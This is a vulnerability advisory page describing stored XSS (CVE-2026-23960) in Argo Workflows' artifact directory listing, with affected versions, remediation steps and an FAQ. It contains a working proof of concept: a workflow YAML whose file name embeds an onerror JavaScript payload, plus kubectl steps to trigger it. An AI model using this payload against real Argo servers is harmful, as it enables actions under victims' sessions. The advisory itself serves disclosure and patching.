CVE-2026-23960: Argo Workflows affected by stored XSS in the artifact directory listing

Published Jan 21, 2026
·
Updated

Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

Details The directory listing response in server/artifacts/artifactserver.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifactserver.go#L194-L244

PoC 1. Deploy Argo Workflows: kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres 2. Port‑forward Argo Server: kubectl -n argo port-forward deploy/argo-server 2746:2746 3. Create the PoC workflow: yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF kubectl -n argo create -f /tmp/argo-xss.yaml 4. Wait for completion: kubectl -n argo get wf -w 5. Get the node ID: kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.}{.id}{"\t"}{.displayName}{"\n"}{end}' 6. Open the listing: https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/

<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" />

Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.

Other sources

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

MITRE

Affected Software

6 affected componentsFixes available
argo-workflows<3.6.17, <3.7.8
go/github.com/argoproj/argo-workflows<=2.5.3-rc4
go/github.com/argoproj/argo-workflows/v3>=3.7.0<=3.7.7
3.7.8
go/github.com/argoproj/argo-workflows/v3<3.6.17
3.6.17
argoproj Argo Workflows Go<3.6.17
argoproj Argo Workflows Go>=3.7.0<3.7.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/argoproj/argo-workflows/v3 to a version that resolves this vulnerability.

    Fixed in 3.7.8
  2. Upgrade

    Upgrade go/github.com/argoproj/argo-workflows/v3 to a version that resolves this vulnerability.

    Fixed in 3.6.17
  3. Upgrade

    Upgrade Argo Workflows to a version that resolves this vulnerability.

    Fixed in 3.6.17
  4. Upgrade

    Upgrade Argo Workflows to a version that resolves this vulnerability.

    Fixed in 3.7.8
  5. Compensating control

    As a mitigation while upgrading, restrict workflow author permissions so only trusted users can create workflows that write to the artifact output directory that is rendered in the Argo Server artifact directory listing.

Event History

Jan 21, 2026
Advisory Published
via GitHub·10:00 PM
Data Sourced
via GitHub·10:00 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·10:02 PM
Data Sourced
via MITRE·10:02 PM
DescriptionWeakness
Data Sourced
via NVD·10:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
RemedyAffected Software
Data Sourced
via Red Hat·11:01 PM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-23960?

CVE-2026-23960 is classified as a critical vulnerability due to its potential for executing arbitrary JavaScript in a user's browser.

2

How do I fix CVE-2026-23960?

To fix CVE-2026-23960, update Argo Workflows to version 3.7.8 or 3.6.17.

3

What type of vulnerability is CVE-2026-23960?

CVE-2026-23960 is a stored Cross-Site Scripting (XSS) vulnerability affecting the artifact directory listing.

4

Who is affected by CVE-2026-23960?

All users and workflow authors of Argo Workflows versions prior to 3.7.8 and 3.6.17 are affected by CVE-2026-23960.

5

What can attackers do with CVE-2026-23960?

Attackers can exploit CVE-2026-23960 to execute arbitrary actions in the context of another user's session due to the stored XSS.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203